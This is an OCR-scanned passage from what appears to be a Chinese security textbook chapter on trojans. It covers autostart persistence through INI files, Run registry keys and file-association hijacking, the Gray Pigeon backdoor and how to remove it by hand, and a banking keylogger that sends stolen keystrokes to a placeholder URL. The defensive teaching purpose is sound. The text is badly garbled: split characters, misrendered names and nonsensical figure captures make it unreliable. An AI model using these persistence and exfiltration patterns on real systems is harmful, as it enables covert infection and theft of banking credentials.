端 建立 连接 ,进而 控制 目标 主机 。 对 于 通信 协议 的 选择 , 绝 大 多 数 木马 使 用 的 是 TCP/IP 协 
议 ,但 也 有 使 用 UDP 协议 的 木马 。 

一 方面 ,木马 的 服务 端 程序 会 尽 可 能 地 隐蔽 行踪 ,同时 监听 某 个 特定 的 端口 ,等待 客户 
端的 连接 ; 另 一 方面 ,服务 端 程序 为 了 在 每 次 重新 启动 计算 机 后 都 能 够 正常 运行 ,还 需要 通 
过 修改 注册 表 等 方法 实现 自 启 动 功能 

作为 一 个 木马 , 自 启动 功能 是 必 不 可 少 的 。 自 启动 可 以 保证 木马 不 会 因为 用 户 的 一 
关机 操作 而 彻底 失去 作用 。 ee 
explorer. exe) 中 , 当 用 户 执 行 该 程序 时 ,木马 就 自动 执行 并 和 运行。 当然 ,更 加 普遍 的 方法 是 
通过 修改 Windows 系统 文件 和 注册 表达 到 目的 ,现在 经 常 使 用 的 方法 主要 有 以 下 几 种 。 

(1) 在 Win. ini 中 启动 。 

后 缀 为 ini 的 文件 是 系统 中 应 用 程序 的 启动 配置 文件 ,木马 程序 利用 这 些 文件 能 自 启 
人 将 制作 好 的 带 有 木马 服务 端 程序 自 启动 命令 的 文件 上 传 到 目标 主机 中 ， 

这 样 就 可 以 达到 启动 木马 的 目的 了 。 

在 Win. ini 的 Lwindowsj 字 段 中 有 启动 命令 “load 二 ”和 “run 二 ”。 上 默认 情况 下 “三 ”的 后 

面 是 空白 的 。 可 以 把 开机 加 载 程序 的 路 径 写 在 这 里 。 例 如 : 


load=C:\windows\BookStore.exe 


run=C:\windows\BookStore.exe 


木马 可 能 会 在 这 里 现 出 原形 ,必须 仔细 观察 它们 。 一 般 情况 下 等 号 后 面 什 么 都 没有 ,如 
果 发 现 后 面 跟 有 路 径 与 文件 名 不 是 熟悉 的 或 以 前 没有 见 到 过 的 启动 文件 项 目 , 那 么 计算 机 
就 可 能 中 了 木马 。 当 然 也 要 看 清楚 ,因为 好 多 木马 会 通过 容易 混淆 的 文件 名 来 轧 弄 用 户 。 
如 AOL Trojan， 它 把 自身 伪装 成 command. exe 文件 ,如 果 不 注意 就 不 会 发 现 它 ,而 误 认 它 
为 正常 的 系统 启动 文件 项 。 

(2) 在 System. ini 中 启动 。 

System. ini 位 于 Windows 的 安装 目录 下 ,其 中 [bootj] 字 段 的 shell 王 Explorer. exe 是 木 
马 常 用 来 隐藏 加 载 的 地 方 。 通 常 的 做 法 是 将 该 项 变 为 shell= Explorer. exe sample. exe。 
这 里 的 sample. exe 就 是 木马 服务 端 程序 。 

System. ini 中 的 [386Enhj 字 段 中 的 "driver 二 路径 \ 程 序 名 ”也 可 以 用 来 实现 自 启动 。 
此 外 ,System. ini 中 的 [micj、Ldrivers]、Ldrivers32] 也 是 加 载 程序 的 好 地 方 。 

(3) 通过 启动 组 实现 自 启动 。 

启动 组 是 专门 用 来 实现 应 用 程序 自 启动 的 地 方 。 启 动 组 文件 夹 的 位 置 为 C 
Documents and Settings\ Administrator\ Start Menu\Programs\Startup。 此 处 Administrator 为 
主机 的 用 户 名 。 如 果 用 户 将 飞信 作为 系统 启动 组 中 的 一 项 ,每 次 系统 启动 后 都 会 自动 运行 
飞信 程序 。 

启动 组 在 注册 表 中 对 应 的 位 置 是 : HKEY_CURRENT_USER\Software\ MICROSOFT\ 
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Windows\CurrentVersion\ Explorer\ ShellFolders, 在 右面 的 属性 栏 中 可 以 找到 Startup 
属性 。 

隐蔽 性 强 的 木马 都 在 注册 表 中 做 文章 ,因为 注册 表 本 身 就 非常 庞大 ,众多 的 启动 项 目 极 
易手 人 耳目 。 例 如 : 


HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 

HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOonce 

HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx 

HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices 
HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce 


上 面 这 些 主键 下 面 的 启动 项 目 都 可 以 成 为 木马 的 容 身 之 处 。 如 果 是 Windows 2003, 则 
还 需 注 意 HKEY_LOCAL _ MACHINE\Software\SAM 下 的 内 容 , 通 过 regedit 等 注册 表 编 
辑 工 具 查 看 SAM 主键 ,在 正常 情况 下 , 它 的 下 面 应 该 是 空 的 。 

(4) 修改 文件 关联 。 

修改 文件 关联 是 木马 常用 的 手段 例如 ,在 正常 情况 下 TXT 文件 的 打开 方式 为 
Notepad. exe 文件, 但 一 旦 中 了 文件 关联 木马 , 则 TXT 文件 打开 方式 就 会 被 修改 为 用 木马 
程序 打开 ,如 著名 的 国产 木马 冰河 就 是 这 样 。 

冰河 木马 通过 修改 HKEY_CLASSES_ROOT\txtfile\shell\open\command 下 的 键 
值 ,将 “C: \ WINDOWS\ NOTEPAD. EXE%1” 改 为 “% SystemRoot% \ system32 AN 
SYSEXPLR. EXE%1”, 如 图 6-1 所 示 。 


化 注册 表 编 加 器 


起 辐 must ylatilepolic 克 
由 加 Trust. YolatilePolic a 


数值 数据 
[%SystenRoot%\systen32\SYSEXPLR. EXE %1 


图 6-1 修改 关联 文件 


只 要 用 户 双 击 任 意 一 个 TXT 文件 ,原本 应 该 用 Notepad. exe 程序 打开 TXT 文件 , 现 
在 就 变 成 启动 在 C:\WINDOWS\SYSTEM 目录 下 的 sample. exe 这 个 木马 程序 了 。 请 读 
者 注意 ,不 仅仅 是 TXT 文件 ,其 他 诸如 HTM,EXE,ZIP 等 都 是 木马 的 目标 。 

(5) 捆绑 文件 。 

入 侵 者 在 完成 了 文件 的 捆绑 之 后 ,会 将 捆绑 文件 放 到 网 站 .FTP、BT 等 资源 下 载 场所 ， 
当 用 户 下 载 并 执行 捆绑 文件 ,同时 就 启动 了 木马 的 服务 端 程序 。 

此 外 ,一 种 比较 新 的 连接 方式 一 一 反弹 技术 ,解决 了 传统 的 远程 控制 软件 不 能 访问 装 有 
防火 墙 和 控制 局 域 网 内 部 的 远程 计算 机 的 难题 。 反 弹 端口 型 木马 的 原理 是 : 客户 端 首先 登 
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录 到 FTP 服务 器 ,编辑 在 木马 软件 中 预先 设置 的 主页 空间 上 面 的 一 个 文件 ,并 打开 端口 监 
听 ,等 待 服务 端的 连接 ,服务 端 定期 用 HTTP 协议 读 取 这 个 文件 的 内 容 , 当 发 现 是 客户 端 让 
自己 开始 连接 时 ,就 主动 连接 ,如 此 就 可 完成 连接 工作 。 并 且 监 听 端 口 一 般 为 80, 所 以 如 果 
没有 合适 的 工具 、 丰 富 的 经 验 真 的 很 难 防范 。 这 类 木马 的 典型 代表 就 是 网 络 神偷 。 但 由 于 
这 类 木马 仍然 要 在 注册 表 中 建立 键 值 ,所 以 根据 注册 表 的 变化 就 不 难 查 到 它们 。 

木马 驻 留 计算 机 以 后 ,还 要 有 客户 端 程序 来 控制 才 可 以 进行 相应 的 “黑箱 ”操作 。 客 户 
端 要 与 木马 服务 器 端 进行 通信 就 必须 建立 连接 ,目前 一 般 采 用 TCP/IP 协议 连接 。 

4. 木马 的 特点 

(1) 隐蔽 性 

木马 是 一 款 人 侵 软 件 ,由 于 其 本 身 的 用 途 与 特点 ,需要 将 自己 隐藏 起 来 。 只 有 不 被 目标 
主机 发 现 ,入 侵 者 才能 永远 地 掌握 目标 主机 的 控制 权 。 木 马 的 隐藏 决定 了 一 款 木马 的 优 劣 。 
一 般 来 说 ,木马 要 注意 到 以 下 几 个 方面 的 隐藏 。 

@ 任务 栏 图 标的 隐藏 

这 是 最 基本 的 隐藏 方式 。 如 果 在 Windows 的 任务 栏 里 出 现 一 个 莫名 其 妙 的 图 标 ,一般 
用 户 都 会 明白 是 怎么 回 事 。 要 实现 在 任务 栏 中 隐藏 在 编程 时 是 很 容易 实现 的 。 以 Visual 
Basic 为 例 , 在 Visual Basic 中 ,只 要 把 form ( 窗 体 ) 的 Visible 属性 设置 为 False， 
ShowInTaskBar 设 为 False, 程 序 就 不 会 出 现在 任务 栏 里 了 。 

@ 在 任务 管理 器 的 隐藏 

通过 Windows 系统 自 带 的 任务 管理 器 ,用 户 可 以 很 容易 地 发 现 木 马 。 因 此 ,木马 会 千 
方 百 计 地 伪装 自己 ,使 自己 不 出 现在 任务 管理 器 里 。 例 如 ,如果 把 木马 设置 为 “系统 服务 ”， 
便 可 以 轻松 地 骗 过 任务 管理 器 。 

@ 通信 端口 的 隐藏 

通常 ,一 台 计 算 机 有 65 536 个 端口 ,木马 的 通信 就 是 通过 这 些 端口 中 的 一 个 。 如 果 用 
户 稍 微 留意 ,不 难 发 现 大 多 数 木马 使 用 的 端口 号 都 在 1024 以 上 ,而且 呈 越 来 越 大 的 趋势 。 
因为 ,如 果 占 用 1024 以 下 的 低 端口 ,很 可 能 造成 端口 冲突, 这样 木 马 就 很 容易 暴露 。 此 外 ， 
目前 有 很 多 木马 提供 了 端口 修改 功能 ,可 以 随时 修改 端口 号 ,避免 被 发 现 。 

@ 加 载 方式 的 隐藏 

木马 加 载 的 方式 可 以 说 千奇百怪 ,但 目的 只 有 一 个 ,就 是 让 目标 主机 运行 木马 。 如 果木 
马 不 做 任何 伪装 ,用 户 不 会 去 运行 它 。 所 以 ,如 何 让 目标 用 户 去 运行 服务 端 是 木马 入 侵 的 一 
个 难题 。 而 随 着 网 站 互动 化 的 不 断 进步 , 越 来 越 多 的 新 技术 可 以 成 为 木马 的 传播 媒介 ,如 
Java Script,VBScript,ActiveX 等 。 

在 Windows 98 时 代 ,简单 地 注册 为 系统 进程 就 可 以 实现 木马 从 任务 栏 中 消失 的 目的 ， 
可 是 在 Windows 2000,Windows XP 为 主流 的 今天 ,这 种 方法 显然 是 行 不 通 的 。 注 册 为 系 
统 进程 不 仅仅 能 在 任务 栏 中 看 到 ,而且 可 以 直接 在 计算 机 管理 中 运行 或 停止 服务 。 使 用 隐 
藏 窗 体 或 控制 台 的 方法 也 不 能 和 欺骗 Administrator 用 户 。 因 为 在 Windows NT 系统 下 ,所 
有 进程 对 Administrator 用 户 都 是 可 见 的 。 

在 研究 了 其 他 软件 的 长 处 之 后 ,可 以 发 现 : Windows 下 的 中 文 汉化 软件 采用 的 陷阱 技 
术 非 常 适合 木马 的 使 用 。 这 是 一 种 更 新 .更 隐藏 的 方法 ,通过 修改 虚拟 设备 驱动 程序 
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(VXD) 或 修改 动态 链接 库 (DLL) 来 加 载 木 马 。 这 种 方法 与 一 般 方法 不 同 , 它 基本 上 摆脱 了 
原 有 的 木马 模式 一 一 监听 端口 ,而 采用 替代 系统 功能 的 方法 (改写 VXD 或 DLL 文件 ) 。 木 
马 会 将 修改 后 的 DLL 替换 系统 已 知 的 DLL, 并 对 所 有 的 函数 调用 进行 过 滤 。 被 奉 换 的 
DLL 文件 对 网 络 进行 监听 ,一旦 发 现 控制 端的 请 求 就 激活 自身 ,并 将 自己 绑 在 一 个 进程 上 
进行 相关 的 木马 操作 。 这 样 做 的 好 处 是 没有 增加 新 的 文件 ,不 需要 打开 新 的 端口 ,没有 新 的 
进程 ,使 用 常规 的 方法 监测 不 到 它 。 并 且 经 过 测试 ,木马 没有 出 现任 何 异 常 现象 ,而 且 木 马 
的 控制 端 向 被 控制 端 发 出 特定 的 信息 后 ,隐藏 的 程序 就 立即 开始 运作 。 

(2) 功能 特殊 性 

有 一 些 木 马 除 了 具有 普通 的 文件 操作 的 功能 以 外 ,还 具有 搜索 口令 .设置 口令 .记录 键 
盘 .操作 远程 注册 表 以 及 颠倒 屏幕 、 锁 定 鼠 标 等 功能 。 而 远程 控制 软件 的 功能 当然 不 会 有 这 
么 多 的 特殊 功能 ,毕竟 远程 控制 软件 是 用 来 控制 的 ,并 非 攻 击 的 。 

还 有 些 木马 的 功能 比较 专 一 ,而 且 工作 的 方式 也 不 是 客户 机 /服务 器 的 方式 。 例 如 ,名 
为 passwd sender( 中 文 译名 为 口令 邮差 ) 的 木马 其 功能 就 是 潜伏 在 目标 计算 机 里 ,搜集 各 种 
口令 的 信息 ,在 目标 用 户 上 网 的 时 候 , 秘 密 发 送 到 指定 的 邮箱 。 在 UNIX 下 ,还 有 一 些 黑客 
们 修改 ps 的 源 代 码 , 让 ps 在 使 用 时 故意 不 显示 某 特殊 的 进程 名 。 还 有 一 些 黑客 修改 
login,passwd 和 su 等 文件 来 完成 一 些 搜集 口令 信息 或 者 开放 一 个 后 门 等 功能 。 


6.5.2 木马 的 分 类 


常见 的 木马 可 以 分 为 以 下 几 类 。 

1. 远程 访问 型 

这 是 目前 使 用 最 广 的 木马 。 这 类 木马 可 以 远程 访问 被 攻击 者 的 硬盘 。 例 如 ,RATS( 一 
种 远程 访问 木马 ) , 它 使 用 起 来 非常 简单 ,只 需要 运行 服务 器 端 程序 并 且 得 到 受害 人 的 IP， 
就 可 以 访问 他 的 计算 机 ,几乎 可 以 在 目标 计算 机 上 干 任何 事情 。 

远程 访问 型 木马 会 在 目标 计算 机 下 打开 一 个 端口 。 一 些 木 马 还 可 以 改变 端口 的 选 型 并 
且 可 以 设置 连接 密码 ,为 的 是 只 能 让 攻击 者 来 控制 木马 。 改 变 端口 的 选 型 是 非常 必要 的 , 因 
为 一 些 常 见 木 马 的 监听 端口 已 经 为 广大 用 户 熟 知 了 。 新 的 远程 访问 型 木马 每 天 都 在 出 现 。 

2. 密码 发 送 型 

这 种 木马 的 目的 是 找到 所 有 的 隐藏 密码 ,并 且 在 受害 者 不 知道 的 情况 下 把 它们 发 送 到 
指定 的 邮箱 。 这 类 木马 大 多 数 会 在 每 次 Windows 重新 启动 的 时 候 运 行 , 而 且 它们 大 多 使 用 
25 号 端口 发 送 E-mail。 如 果 目 标 计 算 机 有 隐藏 密码 ,那么 这 类 木马 是 非常 危险 的 。 

3. 键盘 记录 型 

这 种 木马 非常 简单 。 它 们 只 做 一 种 事情 ,就 是 记录 受害 者 的 键盘 输入 并 且 在 LOG 日 
志文 件 中 查找 密码 。 这 种 木马 随 着 Windows 系统 的 启动 而 运行 。 它 们 有 记录 在 线 和 离线 
的 功能 。 在 线 选项 中 ,它们 知道 受害 者 在 线 并 且 记 录 每 一 件 事 情 。 但 是 ,在 离线 记录 时 ,每 
一 件 事 情 在 Windows 启动 后 才 被 记录 ,并且 保存 在 受害 者 磁盘 上 等 待 被 传输 。 

4. 毁坏 型 

这 种 木马 的 唯一 功能 是 毁坏 并 且 删 除 文件 。 它 们 非常 简单 也 很 容易 被 发 现 。 它 能 自动 
删除 目标 计算 机 的 所 有 后 组 名 如 dll,ini,exe 等 文件 ,所 以 非常 危险 ,一 旦 被 感染 了 就 会 严 
重 威 胁 到 计算 机 的 安全 。 
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5. FTP 型 
这 类 木马 程序 打开 目标 计算 机 的 21 号 端口 ,使 黑客 可 以 用 一 个 FTP 客户 端 并 且 不 用 
密码 就 可 以 连接 到 目标 计算 机 ,并 拥有 完全 的 上 传 和 下 载 的 权限 。 


6.5.3 木马 的 防御 与 清除 


从 实质 上 讲 ,木马 本 身 不 是 病毒 ,但 是 它 可 以 以 病毒 的 形式 传播 ,也 就 是 说 它 可 以 夹 在 
正常 的 文件 或 程序 中 ,一 旦 用 户 打 开 它 , 它 就 会 自动 安装 到 计算 机 上 ,使 某 些 人 通过 
Internet 网 络 访问 该 计算 机 成 为 可 能 ,这 就 使 计算 机 处 于 一 种 非常 危险 的 地 步 。 它 可 获得 
最 高 优先 权 一 一 “系统 管理 员 ” 级 。 它 会 在 用 户 毫 不 觉察 的 情况 下 ,对 计算 机 做 任何 能 做 的 
事 。 入 侵 的 黑客 可 窃取 国家 机 密 及 个 人 隐私 ,投放 恶性 病毒 (如 CIH 病毒 ,并 修改 系统 日 期 
使 病毒 发 作 ,后 果 不 堪 设 想 ); 可 查看 被 人 侵 计 算 机 中 的 所 有 文件 并 删除 、 修 改 该 计算 机 中 任 
何 文件 及 重要 资料 ,还 能 使 该 计算 机 关机 或 重新 启动 ;可 获得 该 计算 机 中 的 众多 口令 ,包括 
上 网 用 户 标 识 和 口令 ;可 查看 该 计算 机 的 名 称 、 当 前 用 户 .CPU 类 型 .操作 系统 版 本 .内存 大 
小 .硬盘 数量 .硬盘 容量 以 及 是 否 有 远程 磁盘 、.CDROM 等 信息 ;可 攻击 与 计算 机 联网 的 其 他 
计算 机 ,甚至 看 到 目标 计算 机 当时 的 屏幕 内 容 。 也 许 用 户 以 为 是 在 危 言 息 听 ,但 事实 上 它 确 
实 非常 可 怕 。 

下 面 介绍 常见 木马 的 预防 与 清除 方法 。 

(1) 不 要 随便 从 网 站 上 下 载 软 件 , 要 到 比较 有 名 、 有 信誉 的 站 点 下 载 软件 ,这 些 站 点 一 
般 都 有 专人 杀 木 马 和 病毒 。 

(2) 不 要 过 于 相信 别人 ,不 能 随便 运行 别人 给 的 软件 ,尤其 是 E-mail, 这 一 点 很 重要 ,一 
般 木 马 的 人 侵 都 是 靠 这 种 手段 。 就 连 Microsoft 公司 被 非法 入 侵 ,而 损失 Windows 的 源 
代码 ,也 是 把 木马 装 在 E-mail 文件 中 ,骗取 Microsoft 公司 的 员工 相信 这 是 一 个 正常 的 
E-mail 信件 。 当 他 打开 后 ,这 个 木马 就 在 Microsoft 的 内 部 网 中 传播 ,最 终 导致 Windows 
源 代码 的 失窃 。 

(3) 经 常 检查 自己 的 系统 文件 .注册 表 .端口 等 ,经 常 去 安全 站 点 查看 最 新 的 木马 公告 。 

(4) 改 掉 Windows 关于 隐藏 文件 后 缀 名 的 默认 设置 ,这 一 点 是 针对 网 络 上 有 的 木马 可 
以 伪装 成 . bmp 等 图 像 文 件 的 后 级 , 当 用 户 打开 时 ,就 中 了 木马 的 暗算。 

(5) 如 果 上 网 时 发 现 莫 名 其 妙 地 硬盘 乱 响 或 MODEM 上 的 数据 灯 乱 内, 要 小 心 。 此 
时 ,用 户 可 以 试 试 突然 关 掉 所 有 连接 ,然后 盯 住 MODEM, 要 是 这 时 数据 传送 灯 还 在 拼命 
闪 ,那么 肯定 是 中 了 木马 了 。 赶 快 关闭 MODEM ,用 瑞星 、KV2000 或 LockDown 2000 等 杀 
毒 软件 杀毒 。 


6.5.4 介绍 几 种 著名 的 木马 


1. 灰 鲁 子 
(1) 灰 铝 子 基 本 原理 
灰 钢 子 是 国内 一 款 著名 后 门 。 比 起 前 辈 冰河 .黑洞 来 , 灰 鸽 子 可 以 说 是 国内 后 门 的 典型 


病毒 。 其 丰富 而 强大 的 功能 、 灵 活 多 变 的 操作 、 良 好 的 隐藏 性 使 其 他 后 门 都 相形 见 纳 。 客 户 
端 简易 便捷 的 操作 使 刚 和 人 门 的 初学 者 都 能 充当 黑客 。 当 使 用 在 合法 情况 下 时 , 灰 铝 子 是 一 
款 优秀 的 远程 控制 软件 。 但 如 果 拿 它 做 一 些 非法 的 事 , 灰 鸽子 就 成 了 很 强大 的 黑客 工具 。 
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灰 蚀 子 木马 分 两 部 分 : 客户 端 和 服务 端 。 客 户 端 和 服务 端 都 是 采用 Delphi 编写 的 。 黑 
客 利用 客户 端 程序 配置 出 服务 端 程序 。 可 配置 的 信息 主要 包括 : 上 线 类 型 (如 等 待 连接 还 
是 主动 连接 ) 主动 连接 时 使 用 的 公 网 IP( 域 名 ) 、 连 接 密码 、 使 用 的 端口 、 启 动 项 名 称 、 服 务 
名 称 ,进程 隐藏 方式 等 ,攻击 者 操纵 着 客户 端 ,利用 客户 端 配置 生成 出 一 个 服务 端 程序 ,如 
图 6-2 所 示 。 


文件 下 ) 设置 E) 工具 人 I) 才 助 如 


区 
自动 上 线 。 捕获 屏 正 ”视频 语音 Telnet 配置 服务 程序 景 小 化 退出 


当前 连接 : | | 电脑 名 称 : | | 连接 密码 : ] [CC 人 # ] 
搜索 内 容 : | | BB 动 上 二 机 。 8] 搜索 结果 ;| 显示 检索 结果 [5] 【搜索 ] 
| 文件 管理 器 | 远程 控 制 司 人 | 注册 表 编辑 器 | 命令 厂 播 
文件 目录 浏览 < a 
ET 四 定夺 XX 他 忆 四 田 疾 
-ns [EE 1 不 车 而 CE 
eC 


我 的 电脑 目 动 上 线 : 0 台 


当前 自动 上 贱 端 口 : 8000 大 如 本 
四 huigezinet 
& 
人 a 


图 6-2 ” 灰 铝 子 客户 端 程序 


服务 端 对 客户 端 连接 方式 有 多 种 ,使 得 处 于 各 种 网 络 环境 的 用 户 都 可 能 中 毒 , 包 括 局 域 
网 用 户 ( 通 过 代理 上 网 ) 、 公 网 用 户 和 ADSL 拨号 用 户 等 。 

服务 端 文件 的 名 字 默 认为 G_Server. exe, 黑 客 通过 各 种 渠道 传播 这 个 木马 。 传 播 木马 
的 手段 有 很 多 ,例如 ,可 以 将 它 与 一 张 图 片 绑 定 ,然后 假 轩 成 一 个 羞涩 的 女孩 通过 QQ 把 木 
马 传 给 用 户 ,诱骗 用 户 运 行 ; 也 可 以 建立 一 个 个 人 网 页 ,诱骗 用 户 单 击 , 利 用 IE 漏洞 把 木马 
下 载 到 用 户 的 计算 机 上 并 运行 ;还 可 以 将 文件 上 传 到 某 个 软件 下 载 站 点 ,冒充 成 一 个 有 趣 的 
软件 诱骗 用 户 下 载 等 。 

G_Server. exe 运行 后 将 自己 复制 到 Windows 目录 下 (XP 下 为 系统 盘 的 Windows 目 
录 ,Windows 2000/NT 下 为 系统 盘 的 Winnt 目录 ), 然 后 再 从 程序 内 释放 G_Server. dll 和 
G_Server_Hook. dll 到 Windows 目录 下 。G_Server. exe,G_Server. dll 和 G_Server_Hook. dll 
三 个 文件 相互 配合 组 成 了 灰 铝 子 服务 端 , 有 些 灰 鲍 子 会 多 释放 出 一 个 名 为 G_ServerKey. dl 
的 文件 用 来 记录 键盘 操作 。 需 要 注意 的 是 : G_Server. exe 这 个 名 称 并 不 固定 , 它 是 可 以 定 
制 的 ,例如 , 当 定 制服 务 端 文件 名 为 A. exe 时 ,生成 的 文件 就 是 A. exe, A. dll 和 A_ 
Hook. dll。 

Windows 目录 下 的 G_Server. exe 文件 将 自己 注册 成 服务 (9x 系统 写 注册 表 启 动 项 )， 
每 次 开机 都 能 自动 运行 ,运行 后 启动 G_Server. dll 和 G_Server_Hook. dll 并 自动 退出 。 
G_Server. dll 文件 实现 后 门 功能 ,与 控制 端 客户 端 进行 通信 ;G_Server_Hook. dll 则 通过 拦 
截 API 调用 来 隐藏 病毒 。 因 此 ,中 毒 后 用 户 看 不 到 病毒 文件 ,也 看 不 到 病毒 注册 的 服务 项 。 
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随 着 灰 鸽 子 服 务 端 文 件 的 设置 不 同 ,G_Server_Hook. dll 有 时 候 附 在 Explorer. exe 的 进程 
空间 中 ,有 时 候 则 是 附 在 所 有 进程 中 。 

(2) 灰 铝 子 手工 检测 

由 于 灰 饮 子 拦截 了 API 调用 ,在 正常 模式 下 木马 程序 文件 和 它 注册 的 服务 项 均 被 隐 
藏 ,也 就 是 说 用 户 即 使 设置 了 “显示 所 有 隐藏 文件 ?也 看 不 到 它们 。 此 外 , 灰 鲍 子 服务 端 的 文 
件 名 也 是 可 以 自 定义 的 ,这 都 给 手工 检测 带 来 了 一 定 的 困难 。 

但 是 ,通过 仔细 观察 可 以 发 现 ,对 于 灰 钮 子 的 检测 仍然 是 有 规律 可 循 的 。 从 上 面 的 运行 
原理 分 析 可 以 看 出 ,无 论 自 定义 的 服务 器 端 文件 名 是 什么 ,一 般 都 会 在 操作 系统 的 安装 目录 
下 生成 一 个 以 ”Hook. dl 结尾 的 文件 。 通 过 这 一 点 ,就 可 以 较为 准确 地 手工 检测 出 灰 铀 
子 木马 。 

由 于 正常 模式 下 灰 铝 子 会 隐藏 自身 ,因此 检测 灰 铝 子 的 操作 一 定 要 在 安全 模式 下 进行 。 
进入 安全 模式 的 方法 是 : 启动 计算 机 ,在 系统 进入 Windows 朋友 画 岗 柚 ? 按 F8 键 ( 或 者 在 
启动 计算 机 时 按 住 Ctrl 键 不 放 ), 在 出 现 的 启动 选项 菜单 中 ,选择 Safe Mode 或 “安全 
模式 ”。 

清理 病毒 文件 步骤 如 下 : 

@ 由 于 灰 铝 子 的 文件 本 身 具 有 隐藏 属性 ,因此 要 设置 Windows 显示 所 有 文件 。 打 开 

“我 的 电脑 ”, 选 择 菜单 “工具 ”| 文件 夹 选项 , 单 击 “ 查 看 ,取消 “隐藏 受 保护 的 操作 系统 文 
件 ” 前 的 对 色 , 并 在 “隐藏 文件 和 文件 夹 ” 项 中 选择 “显示 所 有 文件 和 文件 夹 ”, 然 后 单 击 
“确定 ”。 

@ 打开 Windows 的 “搜索 文件 ”, 文 件 名 称 输入 “_Hook. dll”, 搜 索 位 置 选择 Windows 

安装 目录 (默认 XP 为 C:\Windows,Windows 2000/NT 为 C:\Winnt)。 

@ 经 过 搜索 ,在 Windows 目录 (不 包含 子 目录 ) 下 发 现 了 一 个 名 为 Game_Hook. dll 的 
文件 。 

@ 根据 灰 铝 子 原理 分 析 知 道 , 如 果 Game_Hook. dll 是 灰 铝 子 的 文件 , 则 在 操作 系统 安 
装 目录 下 还 会 有 Game. exe 和 Game. dll 文件 。 打 开 Windows 目录 ,果然 有 这 两 个 文件 , 同 
时 还 有 一 个 用 于 记录 键盘 操作 的 GameKey. dll 文件 。 

经 过 这 几 步 操作 基本 就 可 以 确定 这 些 文件 是 灰 铝 子 木 马 了 ,下 面 就 可 以 进行 手动 清除 。 

(3) 灰 铝 子 的 手工 清除 

经 过 上 面 的 分 析 ,清除 灰 铝 子 就 很 容易 了 。 清 除 灰 鸽子 仍然 要 在 安全 模式 下 操作 ,主要 
有 两 步 : eee it pte hl 

Q@ 清除 灰 铝 子 的 服务 

a. 打开 注册 表 编 辑 器 ( 单 击 “开始 ”按钮 | “运行 ?按钮 ,输入 Regedit. exe, 按 Enter 键 确 
定 ) ,打开 HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services 注册 表 项 。 

b. 单 击 菜单 “编辑 "| 查找” 命令， 查找 目标 ”中 输入 game. exe, 单 击 “ 确 定 ”, 就 可 以 找 
到 灰 铝 子 的 服务 项 ,如 图 6-3 所 示 。 

c. 删除 整个 Game_Server 项 。 

@ 删除 灰 铝 子 程序 文件 

删除 灰 铝 子 程序 文件 非常 简单 ,只 需要 在 安全 模式 下 删除 Windows 目录 下 的 
Game. exe,Game. dll,Game_Hook. dll 以 及 GameKey. dll 文件 ,然后 重新 启动 计算 机 。 至 
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文件 FE) 编辑 字 ) 查看 收 诚 夹 入 帮助 0 


田 品 Fastfat 肌 |z 称 类 型 数据 
田 国 TastUserswitd | 站 与 认 ) REG_S7 做 什 末 设置 ) 
由 园 ?ae 加 DapenannGroup REG MILTT sz 
| InService REG MULTI_ SZ RPCSS 
REG SZ 所 用 在 此 计算 机 上 运行 帮助 
REG_SZ Help and Support 
REG_DYOED Dx00000001 (1) 
ions REG_BINARY 80 51 01 00 00 00 00 o01 
REG_EXPAND_ST C: \WINDOWS\Gane. exe 
REG_ST LocalSystem 
REG_IWORD Ox00000002 (2) 
REG_DWORD Ox00000020 (32) 
< 避 || 因 


我 的 电脑 和 HEEY_LDCAL_MACHINENSYSTEM\CurrentControlSet\Services\Game_Server 


图 6-3 在 注册 表 编 辑 器 中 查找 灰 鸽 子 的 服务 项 


此 , 灰 蚀 子 已 经 被 清除 干净 。 

2. 网 银 大 盗 

该 病毒 通过 键盘 记录 的 方式 ,监视 用 户 操 作 。 当 用 户 使 用 个 人 网 上 银行 进行 交易 时 ,该 
病毒 会 恶意 记录 用 户 所 使 用 的 账号 和 密码 ,记录 成 功 后 ,病毒 会 将 盗 取 的 账号 和 密码 发 送 给 
病毒 作者 ,造成 经 济 损失 。 

该 病毒 没有 主动 传播 的 性 质 ,但 容易 被 人 恶意 安装 或 是 欺骗 安装 。 如 果 在 不 安全 的 网 
址 中 下 载 资 料 ,或 是 单 击 QQ 等 即时 通信 中 传 来 的 网 址 就 容易 中 该 病毒 。 

(1) 病毒 运行 方式 

Q@ 生成 病毒 文件 

该 病毒 运行 后 在 系统 文件 夹 %System% 下 创建 自身 的 副本 ,文件 名 称 为 svchost. exe 
(其 中 ,%System% 在 Windows 95/98/Me 下 为 C:\Windows\System, 在 Windows NT/ 
2000 下 为 C:\Winnt\System32, 在 Windows XP 下 为 C:\Windows\System32)。 

@ 修改 注册 表 

病毒 修改 注册 表 , 以 达到 随 系统 启动 而 自动 运行 的 目的 ,在 注册 表 的 HKEY_ 
CURRENT_ USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Run 和 HKEY _ 
CURRENT_USER\Software\ Microsoft\ Windows\CurrentVersion\RunOnce 中 创建 ;: 


"svch0st.exe"="%SystemDir%\svch0st .exe" 


"taskmgr .exe"= "gsSystemDirgs\sVvch0st .exe" 

@ 窃取 个 人 网 上 银行 信息 

病毒 运行 后 检查 IE 窗口 标题 栏 ,判定 当前 窗口 是 否 为 网 上 银行 的 登录 页 面 ,涉及 国内 
多 家 银行 的 网 上 交易 系统 。 一 旦 发 现 当前 下 窗口 为 上 述 银行 的 登录 页 面 ,病毒 立 即 开始 记 
录 键 盘 输 入 的 所 有 键 值 ,记录 的 键 值 几乎 包括 了 所 有 可 能 的 键盘 录入 。 和 究 取 的 用 户 信息 包 
括 网 上 银行 的 账号 、 密 码 、 验 证 码 等 。 

@ 发 送 窃 取信 息 到 指定 地 址 

病毒 每 隔 1 分 钟 检 查 是 否 已 经 成 功 盗 取 了 用 户 信息 ,如 果 成 功 盗 取 , 则 通过 GET 方式 
把 截取 的 用 户 按 键 提 交 给 http ://xxxxx. com/xxxx/get. asp。 其 格式 如 下 : 


http://xxxxx .com/xx*x*x/get .asp?txt=< 银 行 账户 类 型 > :< 截获 的 按键 > 
» 220 。 


银行 账户 类 型 共有 13 种 。 

(2) 该 病毒 的 清除 与 防范 

J@ 终止 病毒 进程 

